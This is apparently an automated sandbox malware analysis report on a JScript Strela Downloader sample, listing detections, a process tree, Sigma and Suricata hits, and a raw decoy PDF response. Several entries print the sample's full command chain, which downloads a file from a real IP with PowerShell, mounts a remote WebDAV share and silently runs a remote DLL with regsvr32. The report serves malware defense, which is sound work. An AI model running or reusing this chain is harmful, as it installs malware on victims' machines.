Edit tour

Windows Analysis Report
467631239147784826.js

Overview

General Information

Sample name:	467631239147784826.js
Analysis ID:	1588735
MD5:	86a0950828566193b20f1d3d9412aea0
SHA1:	3947c7319bf8697e0a9ebfbbda25306e829efb70
SHA256:	e365a11b0bd26ad7871c49c34d4573aa592b7fbe62691a5f4e01b3a7ae9a3f8c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6804 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3436 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6508 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7208 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1540,i,12895752821458316218,4304939090939258030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6476 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2820 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6804	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6508, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6508, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ProcessId: 6804, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6476, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 3436, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 3436, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 3436, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 3436, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 3436, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ProcessId: 6804, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6508, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6476, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2820, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6476, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\467631239147784826.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll, ProcessId: 3436, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:48:29.928658+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:48:32.558684+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:48:29.928658+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 467631239147784826.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 467631239147784826.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 467631239147784826.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:48:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 